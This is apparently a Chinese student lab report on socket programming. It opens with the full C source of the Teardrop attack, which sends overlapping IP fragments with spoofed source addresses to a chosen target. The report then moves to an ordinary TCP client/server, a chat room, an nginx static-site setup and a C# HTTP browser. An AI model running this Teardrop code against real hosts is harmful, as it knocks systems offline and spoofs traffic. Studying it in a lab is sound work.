Socket编程

一、原始套接字编程

（一）编写一个Teardrop程序

在Ubuntu下创建一个文件

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING

#define FIX(n)  (n)
#else  

#define FIX(n)  htons(n)
#endif  
#define IP_MF 0x2000  
#define IPH 0x14    
#define UDPH 0x8    
#define PADDING  0x1c   
#define MAGIC  0x3     
#define COUNT 0x1      
                    

void usage(u_char *);
u_long name_resolve(u_char *);
void send_frags(int, u_long, u_long, u_short, u_short);


int main(int argc, char **argv)
{
    int one = 1, count = 0, i, rip_sock;

    u_long src_ip = 0, dst_ip = 0;
    u_short src_prt = 0, dst_prt = 0;
    
    struct in_addr addr;
    printf("teardrop route|daemon9\n\n");
    
    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
        fprintf(stderr, "raw socket");
        exit(1);
    }
    
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,
    (char *)&one, sizeof(one))< 0)
    {
        fprintf(stderr, "IP_HDRINCL");
        exit(1);
    }
    if (argc < 3)
        usage(argv[0]);
    
    if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
    {
        fprintf(stderr, "What the hell kind of IP address is that?\n");
        exit(1);
    }
    while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
    {
        switch (i)
        {
            case 's': // source port (should be emphemeral)
            src_prt = (u_short)atoi(optarg);
            break;
            case 't': // dest port (DNS, anyone?)
            dst_prt = (u_short)atoi(optarg);
            break;
            case 'n': // number to send
            count = atoi(optarg);
            break;
            default :
            usage(argv[0]);
            break; // NOTREACHED
        }
    }
    srandom((unsigned)(utimes("0",(time_t)0)));
    if (!src_prt) src_prt = (random() % 0xffff);
    if (!dst_prt) dst_prt = (random() % 0xffff);
    if (!count)
    count = COUNT;
    printf("Death on flaxen wings:\n");
    addr.s_addr = src_ip;
    printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
    addr.s_addr = dst_ip;
    printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
    printf(" Amt: %5d\n", count);
    printf("[\n ");
    for (i = 0; i < count; i++)
    {
        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
        // printf("b00m ");
        usleep(500);
    }
    printf("]\n");
    return (0);
}



void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
{
    u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers
    u_char byte; // a byte
   
    struct sockaddr_in sin; /* socket protocol structure */
    sin.sin_family = AF_INET;
    sin.sin_port = src_prt;
    sin.sin_addr.s_addr = dst_ip;
    packet = (u_char *)malloc(IPH + UDPH + PADDING);
    p_ptr = packet;
    flag = packet;
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
    // IP version and header length
    byte = 0x45;
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2; // IP TOS (skipped)
    // total length
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(242); // IP id
    p_ptr += 2;
    //IP frag flags and offset
    *((u_short *)p_ptr) |= FIX(IP_MF);
    p_ptr += 2;
    *((u_short *)p_ptr) = 0x40; // IP TTL
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    // IP checksum filled in by kernel
    p_ptr += 4;
    // IP source address
    *((u_long *)p_ptr) = src_ip;
    p_ptr += 4;
    // IP destination address
    *((u_long *)p_ptr) = dst_ip;
    p_ptr += 4;
    *((u_short *)p_ptr) = htons(src_prt); // UDP source port
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(dst_prt); // UDP destination port
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(PADDING); // UDP total length
    p_ptr += 4;
    
    // 发送数据：Fake News
    *((u_short *)p_ptr) = 0x46;
    p_ptr++;
    *((u_short *)p_ptr) = 0x61;
    p_ptr++;
    *((u_short *)p_ptr) = 0x6B;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x20;
    p_ptr++;
    *((u_short *)p_ptr) = 0x4E;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x77;
    p_ptr++;
    *((u_short *)p_ptr) = 0x73;

    int i=1;
    while(i <= 56)
    {
	printf("%x\t",*flag);
	flag++;
        if(0 == i%8)
	    printf("\n");
        i++;
    }

    if (sendto(sock, packet, IPH + UDPH + PADDING, 0,
    (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
    {
        fprintf(stderr, "\nsendto");
        free(packet);
        exit(1);
    }
    // IP total length is 2 bytes into the header
    p_ptr = &packet[2];
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
    // IP offset is 6 bytes into the header
    p_ptr += 4;
    *((u_short *)p_ptr) = FIX(MAGIC);
    if (sendto(sock, packet, IPH+MAGIC+1, 0,
    (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
    {
        fprintf(stderr, "\nsendto");
        free(packet);
        exit(1);
    }
    free(packet);
}


// 获取主机信息
u_long name_resolve(u_char *host_name)
{
    struct in_addr addr;
    struct hostent *host_ent;
    if ((addr.s_addr = inet_addr(host_name)) == -1)
    {
        if (!(host_ent = gethostbyname(host_name))) return (0);
            bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
}


void usage(u_char *name)
{
    fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);
    exit(0);
}

（二）实验结果

编译一下：

打开Wireshark，抓一下包看看

二、SOCKET应用实例

（一）面向连接的流式套接字c/s例子

• 服务器（运行在树莓派上）

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <arpa/inet.h> 
#include <sys/wait.h> 
#include <signal.h> 
#define PORT "9090" // the port users will be connecting to 
#define BACKLOG 10 // how many pending connections queue will hold 
void sigchld_handler(int s) 
{

	while(waitpid(-1, NULL, WNOHANG) > 0); 
}
// get sockaddr, IPv4 or IPv6（获取IP地址）: 
/*struct sockaddr {  
     sa_family_t sin_family;//地址族
　　  char sa_data[14]; //14字节，包含套接字中的目标地址和端口信息               
　　 }; 
　　 如果地址是IPv4，返回32位的IP地址
*/
void *get_in_addr(struct sockaddr *sa) 
{ 
	if (sa->sa_family == AF_INET) 
	{ 
		return &(((struct sockaddr_in*)sa)->sin_addr); 
	}
	return &(((struct sockaddr_in6*)sa)->sin6_addr); 
}

int main(void) 
{ 
	int sockfd, new_fd; // listen on sock_fd, new connection on new_fd 
	
	struct addrinfo hints, *servinfo, *p; 
		struct sockaddr_storage their_addr; // connector's address information 
	socklen_t sin_size; 
	
	struct sigaction sa; 
	int yes=1;
	char s[INET6_ADDRSTRLEN]; 
	int rv; 
	
	memset(&hints, 0, sizeof hints); 
	hints.ai_family = AF_UNSPEC; 
	hints.ai_socktype = SOCK_STREAM; 
	hints.ai_flags = AI_PASSIVE; // use my IP 
	
	if ((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0) 
	{ 
		fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv)); 
		return 1; 
	}
	for(p = servinfo; p != NULL; p = p->ai_next) 
	{ 
		if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) 
		{ 
			perror("server: socket"); 
			continue; 
		}
			if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) 
		{ 
			perror("setsockopt"); 
			exit(1); 
		}

		if (bind(sockfd, p->ai_addr, p->ai_addrlen) == -1) 
		{ 
			close(sockfd); 
			perror("server: bind"); 
			continue; 
		}
		break; 
	}
	if (p == NULL) 
	{ 
		fprintf(stderr, "server: failed to bind\n"); 
		return 2; 
	}
	freeaddrinfo(servinfo); // all done with this structure 
		if (listen(sockfd, BACKLOG) == -1) 
	{ 
		perror("listen"); 
		exit(1); 
	}
	sa.sa_handler = sigchld_handler; // reap all dead processes 
	//sigemptyset 函数初始化信号集合set,将set 设置为空.
	sigemptyset(&sa.sa_mask); 
	sa.sa_flags = SA_RESTART; 

	if (sigaction(SIGCHLD, &sa, NULL) == -1) 
	{ 
		perror("sigaction"); 
		exit(1);
	} 
	printf("server: waiting for connections...\n"); 
	//循环接收客户端的连接
	while(1) 
	{ // main accept() loop 
		sin_size = sizeof their_addr; 
		
		new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size); 
		if (new_fd == -1) 
		{ 
			perror("accept"); 
			continue; 
		}
				inet_ntop(their_addr.ss_family, get_in_addr((struct sockaddr *)&their_addr), s, sizeof s); 
		printf("server: got connection from %s\n", s); 
		if (!fork()) 
		{ // this is the child process 
			close(sockfd); // child doesn't need the listener 
			//发送一个消息给客户端
			if (send(new_fd, "Hello, world!", 13, 0) == -1) perror("send"); 
			close(new_fd); 
			exit(0); 
		}
		close(new_fd); // parent doesn't need this 
	}
	return 0; 
}

• 客户端（运行在Ubuntu上）

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <errno.h> 
#include <string.h> 
#include <netdb.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <arpa/inet.h> 
#define PORT "9090" // the port client will be connecting to 
#define MAXDATASIZE 100 // max number of bytes we can get at once 
 
void *get_in_addr(struct sockaddr *sa) 
{ 
	if (sa->sa_family == AF_INET) 
	{ 
		return &(((struct sockaddr_in*)sa)->sin_addr); 
	}
	return &(((struct sockaddr_in6*)sa)->sin6_addr); 
}

int main(int argc, char *argv[]) 
{ 
	int sockfd, numbytes; 
	char buf[MAXDATASIZE]; 
	struct addrinfo hints, *servinfo, *p; 
	int rv; 
	char s[INET6_ADDRSTRLEN]; 

	if (argc != 2) 
	{ 
		fprintf(stderr,"usage: client hostname\n");
		exit(1); 
	}
	memset(&hints, 0, sizeof hints); 
	hints.ai_family = AF_UNSPEC; 
	hints.ai_socktype = SOCK_STREAM; 
	if ((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0) 
	{ 
		fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv)); 
		return 1; 
	}
	for(p = servinfo; p != NULL; p = p->ai_next) 
	{ 
		if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) 
		{ 
			perror("client: socket"); 
			continue; 
		}
		//连接服务器
		if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) 
		{ 
			close(sockfd); 
			perror("client: connect"); 
			continue; 
		}
		break; 
	}
	if (p == NULL) 
	{ 
		fprintf(stderr, "client: failed to connect\n"); 
		return 2; 
	}
	inet_ntop(p->ai_family, get_in_addr((struct sockaddr *)p->ai_addr), s, sizeof s); 
	printf("client: connecting to %s\n", s); 
	freeaddrinfo(servinfo); // all done with this structure 
	if ((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1) 
	{ 
		perror("recv"); 
		exit(1);
	}
	buf[numbytes] = '\0'; 
	printf("client: received '%s'\n",buf); 
	close(sockfd); 
	return 0; 
}

• 编译结果
  

（二）非阻塞的多人聊天室例子

• 服务器

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define PORT "9090" 

void *get_in_addr(struct sockaddr *sa)
{
    if(sa->sa_family == AF_INET){
        return &(((struct sockaddr_in*)sa)->sin_addr);
    }
    return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

int main(void)
{
    fd_set master;  
    fd_set read_fds;  
    int fdmax;  
    int listener;  
   
    struct sockaddr_storage remoteaddr;  
    socklen_t addrlen;

    char buf[256];  
    int nbytes;

    int yes=1;  
    int i,j,rv;
    char remoteIP[INET_ADDRSTRLEN];

    struct addrinfo hints,*ai,*p;  //地址信息结构体

    FD_ZERO(&master);  //清除主文件描述符列表
    FD_ZERO(&read_fds);  //清楚临时文件描述符列表

    //给我们一个套接字并绑定它
    memset(&hints, 0, sizeof hints);  
    hints.ai_family = AF_UNSPEC;  //AF_UNSPEC（协议无关）
    hints.ai_socktype = SOCK_STREAM;  //SOCK_STREAM（流）
    hints.ai_flags = AI_PASSIVE;  //AI_PASSIVE（被动的，用于 bind）
    if((rv = getaddrinfo(NULL, PORT, &hints, &ai)) != 0)
    {
        fprintf(stderr, "selectserver:%s\n", gai_strerror(rv));
        exit(1);
    }

    //遍历所有的结果
    for(p = ai; p != NULL; p = p->ai_next)
    {
        //创建套接字并赋值给 listener 套接字描述符
        listener = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
        if(listener < 0)
        {
            continue;
        }
        setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
       
        if(bind(listener, p->ai_addr, p->ai_addrlen) < 0)
        {
            close(listener);
            continue;
        }
        break;
    }

    if(p == NULL)
    {
        fprintf(stderr, "selectserver:failed to bind\n");
        exit(2);
    }

  
    freeaddrinfo(ai);  

  
    if(listen(listener, 10) == -1)
    {
        perror("listen");
        exit(3);
    }

    //将侦听器添加到主文件
    FD_SET(listener, &master);

    //跟踪最大的文件描述符
    fdmax = listener; 

    //主循环
    for(;;)
    {
        read_fds = master;  //将主文件描述符表复制到临时文件描述符表

       
        if(select(fdmax + 1, &read_fds, NULL, NULL, NULL) == -1)
        {
            perror("select");
            exit(4);
        }
        for(i = 0; i <= fdmax; i++)
        {
            
            if(FD_ISSET(i, &read_fds))  //得到了一个连接
            {
                if(i == listener)//如果新连接为最大文件描述符
                {
                    //处理新连接
                    addrlen = sizeof remoteaddr;
                    newfd = accept(listener, (struct sockaddr *)&remoteaddr, &addrlen);

                    if(newfd == -1)
                    {
                        perror("accept");
                    }
                    else
                    {
                        FD_SET(newfd, &master);  //添加到主文件描述符列表
                        if(newfd > fdmax)  //记录最大值
                        {
                            fdmax = newfd;
                        }
                        printf("selectserver:new connection from %s on socket %d\n", inet_ntop(remoteaddr.ss_family, get_in_addr((struct sockaddr*)&remoteaddr), remoteIP, INET_ADDRSTRLEN), newfd);
                    }
                }
                else
                {
                    //处理来自客户端的数据
                    if((nbytes = recv(i, buf, sizeof buf, 0)) <= 0)
                    {
                        //出现错误或连接被客户端关闭
                        if(nbytes == 0)
                        {
                            //连接关闭了
                            printf("selectserver:socket %d hung up\n", i);
                        }
                        else
                        {
                            perror("recv");
                        }
                        close(i); //关闭
                        FD_CLR(i, &master);  //从主文件描述符列表中删除
                    }
                    else
                    {
                        for(j =0; j <= fdmax; j++)
                        {
                            if(FD_ISSET(j, &master))
                            {
                                if(j != listener && j != i)
                                {
                                    if(send(j, buf, nbytes, 0) == -1)
                                    {
                                        perror("send");
                                    }
                                }
                            }
                        }
                    }
                }  //END handle from client
            }  //END got new incoming connection
        }  //END looping through file descriptors
    }  //END for(;;)--and you thought it would never end!
    return 0;
}

• 客户端

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>

#define PORT "9090"  //the port client will be connecting to
#define MAXDATASIZE 100  //max number of bytes we can get at once

int sockfd, numbytes;
char buf[MAXDATASIZE];

//get sockaddr, IPv4 or IPv6
void *get_in_addr(struct sockaddr *sa)
{
	if(sa->sa_family == AF_INET)
	{
		return &(((struct sockaddr_in*)sa)->sin_addr);
	}
	return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

void *recvMag()
{
	
    while(1)
    {
        if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
	{
		perror("recv");
		exit(1);
	}
	if(numbytes == 1)
		continue;
	buf[numbytes] = '\0';
	printf("\nreceived：%s\n",buf);
    }
}

int main(int argc, char *argv[])
{
	struct addrinfo hints, *servinfo, *p;
	int rv;
	char s[INET6_ADDRSTRLEN];
    pthread_t t1;
    char mag[MAXDATASIZE];

	if(argc != 2)
	{
		fprintf(stderr, "usage:client hostname\n");
		exit(1);
	}
	memset(&hints, 0, sizeof hints);
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
	{
		fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));
		return 1;
	}
	for(p = servinfo; p != NULL; p = p->ai_next)
	{
		if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
		{
			perror("client:socket");
			continue;
		}
		if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
		{
			close(sockfd);
			perror("client:connect");
			continue;
		}
		break;
	}
	if(p == NULL)
	{
		fprintf(stderr, "client:failed to connect\n");
		return 2;
	}
	inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);
	printf("client:connecting to %s\n",s);
	freeaddrinfo(servinfo);

    int err = pthread_create(&t1, NULL, recvMag, NULL);
	if(err != 0)
	{
		printf("receive failed");
		exit(1);
	}
    
	while(1)
	{
        scanf("%s", mag);
        if(send(sockfd, mag, sizeof mag, 0) == -1)
        {
            printf("send failed!\n");
        }
	}
	return 0;
}

• 运行结果
  
  这里只运行了一个客户端。

三、完成一个静态网页

用nginx制作web网站

• 安装nginx

apt-get install nginx

• 启动nginx

service nginx start

• 打开浏览器，输入IP地址
  

• 到这里，nginx就安装完成啦

• 接下来就是制作静态网页了

• 域名指向本机

sudo nano /etc/hosts

添加域名

127.0.0.1 ubuntulu.com www.ubuntu.com

• 保存之后重启networking

sudo /etc/init.d/networking restart

• 创建目录结构
  为我们的域ubuntulu.com创建根目录

sudo mkdir -p /var/www/ubuntulu.com/public_html

• 进入根目录下，创建一个sc.txt文件，并压缩

sudo rar a sc.rar sc.txt

• 同目录下创建一个index.html文件
• 写入代码
  
• 创建服务

sudo nano /etc/nginx/sites-available/ubuntulu.com

• 写入以下代码
  
• 创建链接

sudo ln -s /etc/nginx/sites-available/ubuntulu.com /etc/nginx/sites-enable

• 测试配置是否正确

sudo nginx -t

• 打开浏览器，输入http://ubuntulu.com
  
  下面还有两个链接，但是由于这个图太大，截不到
• 当点击download时
  

四、完成一个基于HTTP协议的浏览器客户端

（一）设计窗体

（二）主要代码实现

 private void button1_Click(object sender, EventArgs e)
        {
            string url = textBox1.Text;
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();

            Stream stream = response.GetResponseStream();
            StreamReader sr = new StreamReader(stream);

            string content = sr.ReadToEnd();
            webBrowser1.DocumentText = content;
        }

（三）结果显示

选择是，然后点击贴吧